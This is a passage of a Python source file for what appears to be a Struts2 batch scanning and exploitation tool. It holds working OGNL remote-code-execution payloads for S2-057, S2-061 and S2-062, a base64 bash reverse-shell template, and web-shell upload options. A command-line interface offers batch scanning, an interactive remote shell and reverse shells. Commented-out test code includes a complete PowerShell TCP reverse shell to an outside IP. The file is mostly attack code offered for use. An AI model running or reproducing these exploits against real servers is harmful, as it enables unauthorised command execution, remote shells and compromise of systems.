Struts 2.5.0-2.5.16; GET请求发送数据; 支持任意命令执行和反弹Linux shell" 1597 | check_poc = "%24%7BNUM1%2BNUM2%7D" 1598 | exec_payload1 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{cmd}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D" 1599 | exec_payload2 = "%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27{cmd}%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D" 1600 | exec_payload3 = "%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27{cmd}%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D" 1601 | exec_payload4 = "%24%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{cmd}%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D" 1602 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 1603 | 1604 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 1605 | if url.endswith(".action"): 1606 | rindex = url.rindex('/') 1607 | self.url = url[:rindex + 1] 1608 | self.name = url[rindex + 1:] 1609 | elif url.endswith("/"): 1610 | self.url = url 1611 | self.name = "index.action" 1612 | else: 1613 | self.url = url + '/' 1614 | self.name = "index.action" 1615 | self.headers = parse_headers(headers) 1616 | self.headers['Host'] = self.url.split("/")[2] 1617 | self.encoding = encoding 1618 | self.is_vul = False 1619 | 1620 | def check(self): 1621 | """检测漏洞是否存在""" 1622 | num1 = random.randint(10000, 100000) 1623 | num2 = random.randint(10000, 100000) 1624 | poc = self.check_poc.replace("NUM1", str(num1)).replace("NUM2", str(num2)) 1625 | url = self.url + poc + "/" + self.name 1626 | html = get_302(url, self.headers, self.encoding) 1627 | if str(html).startswith("ERROR:"): 1628 | return html 1629 | if str(num1 + num2) in html: 1630 | self.is_vul = True 1631 | return 'S2-057' 1632 | return self.is_vul 1633 | 1634 | def choice_exp(self): 1635 | """选择可用的exp""" 1636 | payloads = [self.exec_payload1, self.exec_payload2, self.exec_payload3, self.exec_payload4] 1637 | hash_str = get_hash() 1638 | for exp in payloads: 1639 | payload = exp.format(cmd=quote("echo " + hash_str)) 1640 | url = self.url + payload + "/" + self.name 1641 | html = get_302(url, self.headers, self.encoding) 1642 | if hash_str in html: 1643 | return exp 1644 | return "ERROR: 无可用Payload!" 1645 | 1646 | def exec_cmd(self, cmd): 1647 | """执行命令""" 1648 | exp = self.choice_exp() 1649 | if exp.startswith('ERROR:'): 1650 | return exp 1651 | 1652 | payload = exp.format(cmd=quote(cmd)) 1653 | url = self.url + payload + "/" + self.name 1654 | html = get_302(url, self.headers, self.encoding) 1655 | return html 1656 | 1657 | def reverse_shell(self, ip, port): 1658 | """反弹shell""" 1659 | html = reverse_shell(self, ip, port) 1660 | return html 1661 | 1662 | def reverse_shell_win(self, ip, port): 1663 | """windows 反弹shell""" 1664 | html = reverse_shell_win(self, ip, port,"get") 1665 | return html 1666 | 1667 | 1668 | class S2_061: 1669 | """S2_061漏洞检测利用类""" 1670 | info = "[+] S2-061:影响版本Struts 2.0.0-2.5.25;POST,GET请求发送数据;支持 支持获取WEB路径,任意命令执行,反弹Windows,Linux shell" 1671 | exec_payload1 = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{{(#instancemanager=#application[\"org.apache.tomcat.InstanceManager\"]).(#stack=#attr[\"com.opensymphony.xwork2.util.ValueStack.ValueStack\"]).(#bean=#instancemanager.newInstance(\"org.apache.commons.collections.BeanMap\")).(#bean.setBean(#stack)).(#context=#bean.get(\"context\")).(#bean.setBean(#context)).(#macc=#bean.get(\"memberAccess\")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(\"java.util.HashSet\")).(#bean.put(\"excludedClasses\",#emptyset)).(#bean.put(\"excludedPackageNames\",#emptyset)).(#arglist=#instancemanager.newInstance(\"java.util.ArrayList\")).(#arglist.add(\"{cmd}\")).(#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute\")).(#execute.exec(#arglist))}}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF--" 1672 | exec_payload2 = "?id=%25{{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{{%27{cmd}%27}}).(%23res%3d%23exec.exec(%23cmd))}}" 1673 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 1674 | check_poc = "?id=%25%7b+%27test%27+%2b+({num1}+%2b+{num2}).toString()%7d" 1675 | 1676 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 1677 | 1678 | self.url = url 1679 | self.headers = { 1680 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36', 1681 | 'Accept': '*/*', 1682 | 'Referer': url, 1683 | 'Accept-Encoding': 'gzip,deflate', 1684 | 'Connection': 'close', 1685 | 'Cookie': 'JSESSIONID=E25862AE388D006049EA9D3CEF12F246', 1686 | 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF', 1687 | 'Content-Length': '877' 1688 | } 1689 | self.get_headers = parse_headers(headers) 1690 | self.headers['Host'] = self.url.split("/")[2] 1691 | self.encoding = encoding 1692 | self.exec_payload = "payload1" 1693 | self.is_vul = False 1694 | self.exec_dict = {"payload1": self.exec_cmd1, "payload2": self.exec_cmd2} 1695 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 1696 | 1697 | def check(self): 1698 | """检测漏洞是否存在""" 1699 | num1 = random.randint(10000, 100000) 1700 | num2 = random.randint(10000, 100000) 1701 | nn = str(num1 + num2) 1702 | poc = self.check_poc.format(num1=num1, num2=num2) 1703 | html = get(self.url + poc, self.get_headers, self.encoding) 1704 | if str(html).startswith("ERROR:"): 1705 | return html 1706 | 1707 | if html: 1708 | etree = lhtml.etree 1709 | page = etree.HTML(html) 1710 | data = page.xpath('//a[@id]/@id') 1711 | if "test" + nn in data: 1712 | self.is_vul = True 1713 | return 'S2-061' 1714 | else: 1715 | html = echo_check(self) 1716 | if html: 1717 | self.is_vul = True 1718 | return 'S2-061' 1719 | return self.is_vul 1720 | 1721 | def reverse_shell_win(self, ip, port): 1722 | """windows 反弹shell""" 1723 | html = reverse_shell_win(self, ip, port,"post") 1724 | return html 1725 | 1726 | def echo_check(self, exec_fun): 1727 | """通过echo输出检查漏洞是否存在""" 1728 | hash_str = get_hash() 1729 | html = exec_fun("echo " + hash_str) 1730 | if hash_str in html: 1731 | return True 1732 | else: 1733 | return False 1734 | 1735 | def select_exec(self): 1736 | """选择合适的执行命令的exp""" 1737 | result = self.echo_check(self.exec_cmd1) 1738 | if result: 1739 | self.exec_payload = "payload1" 1740 | else: 1741 | result = self.echo_check(self.exec_cmd2) 1742 | if result: 1743 | self.exec_payload = "payload2" 1744 | else: 1745 | self.exec_payload = "None" 1746 | 1747 | def exec_cmd(self, cmd): 1748 | if self.exec_payload not in self.exec_dict: 1749 | return None 1750 | cmd = cmd.replace("\"cmd.txt\" \"cmd.bat\"","\\\"cmd.txt\\\" \\\"cmd.bat\\\"") 1751 | result = self.exec_dict.get(self.exec_payload)(cmd) 1752 | return result 1753 | 1754 | def exec_cmd1(self, cmd): 1755 | # post传值 1756 | payload = self.exec_payload1.format(cmd=cmd) 1757 | html = post(self.url, payload, self.headers, self.encoding) 1758 | etree = lhtml.etree 1759 | page = etree.HTML(html) 1760 | data = page.xpath('//a[@id]/@id') 1761 | if len(data) > 0: 1762 | return f"[+]:{data[0]}" 1763 | else: 1764 | return html 1765 | 1766 | def exec_cmd2(self, cmd): 1767 | # get传值 1768 | data = self.exec_payload2.format(cmd=cmd) 1769 | html = get(self.url + data, self.get_headers, self.encoding) 1770 | etree = lhtml.etree 1771 | page = etree.HTML(html) 1772 | data = page.xpath('//a[@id]/@id') 1773 | if len(data) > 0: 1774 | return f"[+]:{data[0]}" 1775 | else: 1776 | return html 1777 | 1778 | def reverse_shell(self, ip, port): 1779 | """Linux 反弹shell""" 1780 | html = reverse_shell(self, ip, port) 1781 | return html 1782 | 1783 | 1784 | class S2_062: 1785 | """S2_062漏洞检测利用类""" 1786 | info = "[+] S2-062:该漏洞由于对CVE-2020-17530(s2-061)的修复不完整造成的,影响版本2.0.0 <= Apache Struts2 <= 2.5.29;POST请求发送数据;支持任意命令执行,反弹Windows,Linux shell" 1787 | exec_payload = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{{}}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{{}}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{{}}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{{}}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{{}}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({{'{cmd}'}}))\r\n}}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94" 1788 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 1789 | 1790 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 1791 | 1792 | self.url = url 1793 | self.headers = { 1794 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36', 1795 | 'Accept': '*/*', 1796 | 'Referer': url, 1797 | 'Accept-Encoding': 'gzip,deflate', 1798 | 'Connection': 'close', 1799 | 'Cookie': 'JSESSIONID=E25862AE388D006049EA9D3CEF12F246', 1800 | 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF', 1801 | 'Content-Length': '877' 1802 | } 1803 | self.get_headers = parse_headers(headers) 1804 | self.headers['Host'] = self.url.split("/")[2] 1805 | self.encoding = encoding 1806 | self.is_vul = False 1807 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 1808 | 1809 | def check(self): 1810 | """检测漏洞是否存在""" 1811 | html = echo_check(self) 1812 | if html: 1813 | self.is_vul = True 1814 | return 'S2-062' 1815 | return self.is_vul 1816 | 1817 | def reverse_shell_win(self, ip, port): 1818 | """windows 反弹shell""" 1819 | html = reverse_shell_win(self, ip, port,"post") 1820 | return html 1821 | 1822 | def exec_cmd(self, cmd): 1823 | # post传值 1824 | payload = self.exec_payload.format(cmd=cmd) 1825 | html = post(self.url, payload, self.headers, self.encoding) 1826 | etree = lhtml.etree 1827 | page = etree.HTML(html) 1828 | data = page.xpath('//a[@id]/@id') 1829 | if len(data) > 0: 1830 | return f"[+]:{data[0]}" 1831 | else: 1832 | return html 1833 | 1834 | def reverse_shell(self, ip, port): 1835 | """Linux 反弹shell""" 1836 | html = reverse_shell(self, ip, port) 1837 | return html 1838 | 1839 | 1840 | 1841 | # 所有漏洞名称 1842 | s2_dict = {'S2_001': S2_001, 'S2_003': S2_003, 'S2_005': S2_005, 'S2_007': S2_007, 'S2_008': S2_008, 'S2_009': S2_009, 1843 | 'S2_012': S2_012, 'S2_013': S2_013, 'S2_015': S2_015, 'S2_016': S2_016, 'S2_019': S2_019, 'S2_029': S2_029, 1844 | 'S2_032': S2_032, 'S2_033': S2_033, 'S2_037': S2_037, 'S2_045': S2_045, 'S2_046': S2_046, 'S2_048': S2_048, 1845 | 'S2_052': S2_052, 'S2_053': S2_053, 'S2_devMode': S2_devMode, "S2_057": S2_057, "S2_061": S2_061, "S2_062": S2_062} 1846 | # S2-052不支持漏洞扫描和检查 1847 | s2_list = [S2_001, S2_003, S2_005, S2_007, S2_008, S2_009, S2_012, S2_013, S2_015, S2_016, S2_019, 1848 | S2_029, S2_032, S2_033, S2_037, S2_045, S2_046, S2_048, S2_053, S2_devMode, S2_057, S2_061, S2_062] 1849 | s2_list1 = ['S2_001', 'S2_003', 'S2_005', 'S2_007', 'S2_008', 'S2_009', 'S2_012', 'S2_013', 'S2_015', 'S2_016', 1850 | 'S2_019', 1851 | 'S2_029', 'S2_032', 'S2_033', 'S2_037', 'S2_045', 'S2_046', 'S2_048', 'S2-052', 'S2_053', 'S2_devMode', 1852 | 'S2_057', 'S2_061', "S2_062"] 1853 | # 支持获取WEB路径的漏洞名称列表 1854 | webpath_names = ["S2_001", "S2_005", "S2_013", "S2_016", "S2_019", "S2_032", "S2_037", "S2_045", "S2_046", "S2_devMode"] 1855 | # 支持命令执行的漏洞名称列表,添加12,053 1856 | exec_names = ["S2_001", "S2_003", "S2_005", "S2_007", "S2_008", "S2_009", "S2_012", "S2_013", "S2_015", "S2_016", 1857 | "S2_019", 1858 | "S2_029", "S2_032", "S2_033", "S2_037", "S2_045", "S2_046", "S2_048", "S2_052", "S2_052", "S2_053", 1859 | "S2_devMode", 1860 | "S2_057", "S2_061", "S2_062"] 1861 | # 支持反弹shell的漏洞名称列表 1862 | reverse_names = ["S2_001", "S2_007", "S2_008", "S2_009", "S2_013", "S2_015", "S2_016", "S2_019", "S2_029", "S2_032", 1863 | "S2_033", "S2_037", "S2_045", "S2_046", "S2_048", "S2_052", "S2_052", "S2_devMode", "S2_057", "S2_061", "S2_062"] 1864 | 1865 | # 支持反弹Windows的漏洞列表 1866 | winshell_names = ["S2_001", "S2_016", "S2_013","S2_019", "S2_032", "S2_061","S2_062","S2_045"] 1867 | # 没有测试反弹Windows的漏洞列表 1868 | winshell_names_not = ["S2_007", "S2_009", "S2_012", " S2_048", "S2_029", "S2_037", "S2_046", "S2_033", "S2_053", 1869 | "S2_devMode", "S2_057"] 1870 | 1871 | # 支持文件上传的漏洞名称列表 1872 | upload_names = ["S2_013", "S2_016", "S2_019", "S2_045", "S2_046"] 1873 | 1874 | banner = """ 1875 | ____ _ _ ____ ____ 1876 | / ___|| |_ _ __ _ _| |_ ___|___ \ / ___| ___ __ _ _ __ 1877 | \___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ 1878 | ___) | |_| | | |_| | |_\__ \/ __/ ___) | (_| (_| | | | | 1879 | |____/ \__|_| \__,_|\__|___/_____| |____/ \___\__,_|_| |_| 1880 | 1881 | 原作者 HatBoy ,改编 xuwu 1882 | """ 1883 | 1884 | 1885 | def show_info(): 1886 | """漏洞详情介绍""" 1887 | click.secho("[+] 支持如下Struts2漏洞:", fg='red') 1888 | for k, v in s2_dict.items(): 1889 | click.secho(v.info, fg='green') 1890 | 1891 | 1892 | def check_one(s): 1893 | """检测单个漏洞""" 1894 | result = s.check() 1895 | return result 1896 | 1897 | 1898 | def scan_one(url, data=None, headers=None, encoding="UTF-8"): 1899 | """扫描单个URL漏洞""" 1900 | click.secho('[+] 正在扫描URL:' + url, fg='green') 1901 | ss = [s(url, data, headers, encoding) for s in s2_list] 1902 | with futures.ThreadPoolExecutor(max_workers=10) as executor: 1903 | results = list(executor.map(check_one, ss)) 1904 | results = {r for r in results if r} 1905 | click.secho('[*] ----------------results------------------'.format(url=url), fg='green') 1906 | if (not results) and (not is_quiet): 1907 | click.secho('[*] {url} 未发现漏洞'.format(url=url), fg='red') 1908 | for r in results: 1909 | if r.startswith("ERROR:"): 1910 | click.secho('[ERROR] {url} 访问出错: {error}'.format(url=url, error=r[6:]), fg='red') 1911 | else: 1912 | click.secho('[*] {url} 存在漏洞: {name}'.format(url=url, name=r), fg='red') 1913 | 1914 | 1915 | """批量扫描URL""" 1916 | 1917 | 1918 | def scan_more(urls, data=None, headers=None, encoding="UTF-8"): 1919 | scan = partial(scan_one, data=data, headers=headers, encoding=encoding) 1920 | with futures.ProcessPoolExecutor(max_workers=process) as executor: 1921 | results = list(executor.map(scan, urls)) 1922 | 1923 | 1924 | CONTEXT_SETTINGS = dict(help_option_names=['-h', '--help']) 1925 | 1926 | 1927 | @click.command(context_settings=CONTEXT_SETTINGS) 1928 | @click.option('-i', '--info', is_flag=True, help="漏洞信息介绍") 1929 | @click.option('-v', '--version', is_flag=True, help="显示工具版本") 1930 | @click.option('-u', '--url', help="URL地址") 1931 | @click.option('-n', '--name', help="指定漏洞名称, 漏洞名称详见info") 1932 | @click.option('-f', '--file', help="批量扫描URL文件, 一行一个URL") 1933 | @click.option('-d', '--data', help="POST参数, 需要使用的payload使用{exp}填充, 如: name=test&passwd={exp}") 1934 | @click.option('-c', '--encode', default="UTF-8", help="页面编码, 默认UTF-8编码") 1935 | @click.option('-p', '--proxy', help="HTTP代理. 格式为http://ip:port") 1936 | @click.option('-t', '--timeout', help="HTTP超时时间, 默认10s") 1937 | @click.option('-w', '--workers', help="批量扫描进程数, 默认为10个进程") 1938 | @click.option('--header', help="HTTP请求头, 格式为: key1=value1&key2=value2") 1939 | @click.option('-e', '--exec', is_flag=True, help="进入命令执行shell") 1940 | @click.option('--webpath', is_flag=True, help="获取WEB路径") 1941 | @click.option('-lr', '--lin_reverse', help="Linux反弹shell地址, 格式为ip:port") 1942 | @click.option('-wr', '--win_reverse', help="反弹shell地址, 格式为ip:port") 1943 | @click.option('--upfile', help="需要上传的文件路径和名称") 1944 | @click.option('--uppath', help="上传的目录和名称, 如: /usr/local/tomcat/webapps/ROOT/shell.jsp") 1945 | @click.option('-q', '--quiet', is_flag=True, help="关闭打印不存在漏洞的输出,只保留存在漏洞的输出") 1946 | def main(info, version, url, file, name, data, header, encode, proxy, exec, lin_reverse, win_reverse, upfile, uppath, 1947 | quiet, timeout, 1948 | workers, webpath): 1949 | '''Struts2批量扫描利用工具''' 1950 | global proxies, is_quiet, _tiemout, process 1951 | click.secho(banner, fg='red') 1952 | if not encode: 1953 | encode = 'UTF-8' 1954 | if info: 1955 | show_info() 1956 | exit(0) 1957 | if version: 1958 | click.secho("[+] Struts2 Scan V0.5", fg='green') 1959 | exit(0) 1960 | if proxy: 1961 | proxies = { 1962 | "http": proxy, 1963 | "https": proxy 1964 | } 1965 | if quiet: 1966 | is_quiet = True 1967 | if timeout and check_int('timeout', timeout): 1968 | _tiemout = check_int('timeout', timeout) 1969 | if workers and check_int('workers', workers): 1970 | process = check_int('workers', workers) 1971 | if url and not name: 1972 | scan_one(url, data, header, encode) 1973 | if file: 1974 | urls = read_urls(file) 1975 | scan_more(urls, data, header, encode) 1976 | if name and url: 1977 | # 指定漏洞利用 1978 | name = name.replace('-', '_') 1979 | name = name.replace('s', 'S') 1980 | name = name.replace('m', 'M') 1981 | if name not in s2_list1: 1982 | click.secho("[ERROR] 暂不支持{name}漏洞利用".format(name=name), fg="red") 1983 | exit(0) 1984 | s = s2_dict[name](url, data, header, encode) 1985 | s.check() 1986 | if not s.is_vul: 1987 | click.secho("[ERROR] 该URL不存在{name}漏洞".format(name=name), fg="red") 1988 | else: 1989 | click.secho(s.info, fg='green') 1990 | if name in webpath_names: 1991 | web_path = s.get_path() 1992 | click.secho("[*] 检测到web路径:{webpath}".format(webpath=web_path), fg="green") 1993 | else: 1994 | click.secho("[ERROR] 漏洞{name}不支持获取WEB路径".format(name=name), fg="red") 1995 | if webpath: 1996 | if name in webpath_names: 1997 | web_path = s.get_path() 1998 | click.secho("[*] {webpath}".format(webpath=web_path), fg="red") 1999 | exit(0) 2000 | else: 2001 | click.secho("[ERROR] 漏洞{name}不支持获取WEB路径".format(name=name), fg="red") 2002 | exit(0) 2003 | if lin_reverse: 2004 | if name in reverse_names: 2005 | click.secho("[*] 请在反弹地址处监听端口如: nc -lvvp 8080", fg="red") 2006 | if ':' not in lin_reverse: 2007 | click.secho("[ERROR] reverse反弹地址格式不对,正确格式为: 192.168.1.10:8080", fg="red") 2008 | ip = lin_reverse.split(':')[0].strip() 2009 | port = lin_reverse.split(':')[1].strip() 2010 | s.reverse_shell(ip, port) 2011 | exit(0) 2012 | else: 2013 | click.secho("[ERROR] 漏洞{name}不支持反弹shell".format(name=name), fg="red") 2014 | exit(0) 2015 | if win_reverse: 2016 | if name in reverse_names: 2017 | click.secho("[*] 请在反弹地址处监听端口如: nc -lvvp 8080", fg="red") 2018 | if ':' not in win_reverse: 2019 | click.secho("[ERROR] reverse反弹地址格式不对,正确格式为: 192.168.1.10:8080", fg="red") 2020 | ip = win_reverse.split(':')[0].strip() 2021 | port = win_reverse.split(':')[1].strip() 2022 | s.reverse_shell_win(ip, port) 2023 | exit(0) 2024 | else: 2025 | click.secho("[ERROR] 漏洞{name}不支持反弹shell".format(name=name), fg="red") 2026 | exit(0) 2027 | if upfile and uppath: 2028 | if name in upload_names and check_file(upfile): 2029 | result = s.upload_shell(uppath, upfile) 2030 | if result is True: 2031 | click.secho("[+] 文件上传成功!", fg="green") 2032 | exit(0) 2033 | elif str(result).startswith("ERROR:"): 2034 | click.secho("[ERROR] 文件上传失败! {error}".format(error=result[6:]), fg="red") 2035 | exit(0) 2036 | else: 2037 | click.secho("[ERROR] 文件上传失败! \n{error}".format(error=result), fg="red") 2038 | exit(0) 2039 | else: 2040 | click.secho("[ERROR] 漏洞{name}不支持文件上传".format(name=name), fg="red") 2041 | exit(0) 2042 | if exec: 2043 | if name in exec_names: 2044 | click.secho("[+] 提示: 输入'q'结束命令执行", fg='red') 2045 | if name == "S2_052": 2046 | click.secho("[+] 提示: S2_052命令执行无回显,可将结果写入文件访问", fg='red') 2047 | while True: 2048 | cmd = input('>>>') 2049 | if cmd == "q": 2050 | break 2051 | result = s.exec_cmd(cmd) 2052 | click.secho(result, fg='red') 2053 | else: 2054 | click.secho("[ERROR] 漏洞{name}不支持命令执行".format(name=name), fg="red") 2055 | exit(0) 2056 | 2057 | exit(0) 2058 | 2059 | 2060 | if __name__ == '__main__': 2061 | # os.environ["http_proxy"] = "http://127.0.0.1:8080" 2062 | try: 2063 | main() 2064 | except KeyboardInterrupt as e: 2065 | exit(0) 2066 | except Exception as e: 2067 | click.secho("[ERROR] {error}".format(error=e), fg='red') 2068 | exit(0) 2069 | # # reverse_shell_win("self","192.18.18.1",444) 2070 | 2071 | # s = S2_001("http://192.168.18.1:808/S2-001/login.action") 2072 | # print(s.info) 2073 | # print(s.check()) 2074 | # print(s.get_path()) 2075 | # print(get_path(s.exec_cmd("whoami"))) 2076 | # print(s.exec_cmd("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.18.1',444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"")) 2077 | # s.reverse_shell('192.168.18.1', '444') 2078 | 2079 | # s = S2_003("http://192.168.18.1:808/S2-003/login.action") 2080 | # print(s.check()) 2081 | # print(s.exec_cmd('ls -la')) 2082 | 2083 | # s = S2_005("http://192.168.18.1:808/S2-005/example/HelloWorld.action") 2084 | # print(s.check()) 2085 | # print(s.get_path()) 2086 | # print(s.exec_cmd('echo tt11tt')) 2087 | 2088 | # s = S2_007("http://192.168.100.8:8080/user.action", "name=admin&email=admin&age={exp}") 2089 | # s.check() 2090 | # s = S2_007("http://192.168.18.1:808/S2-013/link.action") 2091 | # print(s.check()) 2092 | # print(s.exec_cmd('ls -la')) 2093 | # s.reverse_shell('192.168.100.8', '8888') 2094 | 2095 | # s = S2_008("http://192.168.100.8:8080") 2096 | # s.check() 2097 | # print(s.exec_cmd('ls -la')) 2098 | # s.reverse_shell('192.168.100.8', '8888') 2099 | 2100 | # s = S2_009("http://192.168.100.8:8080/ajax/example5.action?age=123", "name") 2101 | # s.check() 2102 | # print(s.exec_cmd('ls -la')) 2103 | # s.reverse_shell('192.168.100.8', '8888') 2104 | 2105 | # s = S2_012("http://192.168.18.1:808/S2-005/example/HelloWorld.action") 2106 | # print(s.check()) 2107 | # print(s.exec_cmd('ls -la')) 2108 | # s.reverse_shell('192.168.100.8', '8888') 2109 | 2110 | # s = S2_013("http://192.168.18.1:808/S2-013/link.action") 2111 | # print(s.check()) 2112 | # print(s.get_path()) 2113 | # print(s.exec_cmd('ls -la')) 2114 | # s.reverse_shell('192.168.100.8', '8888') 2115 | # print(s.upload_shell('/usr/local/tomcat/webapps/ROOT/shell.jsp', 'shell.jsp')) 2116 | 2117 | # s = S2_015("http://192.168.100.8:8080/param.action") 2118 | # s.check() 2119 | # print(s.exec_cmd('ls -la')) 2120 | # s.reverse_shell('192.168.100.8', '8888') 2121 | 2122 | # s = S2_016("http://192.168.18.1:808/S2-057/showcase.action") 2123 | # print(s.check()) 2124 | # print(s.get_path()) 2125 | # print(s.exec_cmd('whoami')) 2126 | # s.reverse_shell('192.168.100.8', '8888') 2127 | # print(s.exec_cmd1('ls -la')) 2128 | # print('---------------------') 2129 | # print(s.exec_cmd2('ls -la')) 2130 | # print('---------------------') 2131 | # print(s.exec_cmd3('ls -la')) 2132 | # print(s.upload_shell1('/usr/local/tomcat/webapps/ROOT/shell.jsp', 'shell.jsp')) 2133 | # print(s.upload_shell('/usr/local/tomcat/webapps/ROOT/shell.jsp', 'shell.jsp')) 2134 | 2135 | # s = S2_017("http://192.168.18.1:808/S2-005_2/showcase.jsp") 2136 | # # print(s.get_path()) 2137 | # print(s.check()) 2138 | # print(s.exec_cmd('whoami')) 2139 | # s.reverse_shell('192.168.100.8', '8888') 2140 | # print(s.upload_shell('/usr/local/tomcat/webapps/ROOT/shell.jsp', 'shell.jsp')) 2141 | 2142 | # s = S2_019("http://192.168.18.1:808/S2-005_2/showcase.jsp") 2143 | # # print(s.get_path()) 2144 | # print(s.check()) 2145 | # print(s.exec_cmd('whoami')) 2146 | # s.reverse_shell('192.168.100.8', '8888') 2147 | # print(s.upload_shell('/usr/local/tomcat/webapps/ROOT/shell.jsp', 'shell.jsp')) 2148 | 2149 | # s = S2_029("http://192.168.100.8/default.action") 2150 | # s.check() 2151 | # print(s.exec_cmd('ls -la')) 2152 | # s.reverse_shell('192.168.100.8', '8888') 2153 | 2154 | # s = S2_032("https://210.76.69.234/index.action") 2155 | # print(s.check()) 2156 | # print(s.exec_cmd('ls -la')) 2157 | # print(s.get_path()) 2158 | # s.reverse_shell('192.168.100.8', '8888') 2159 | 2160 | # s = S2_033("http://192.168.100.8/orders/3") 2161 | # s.check() 2162 | # print(s.exec_cmd('ls -la')) 2163 | # s.reverse_shell('192.168.100.8', '8888') 2164 | 2165 | # s = 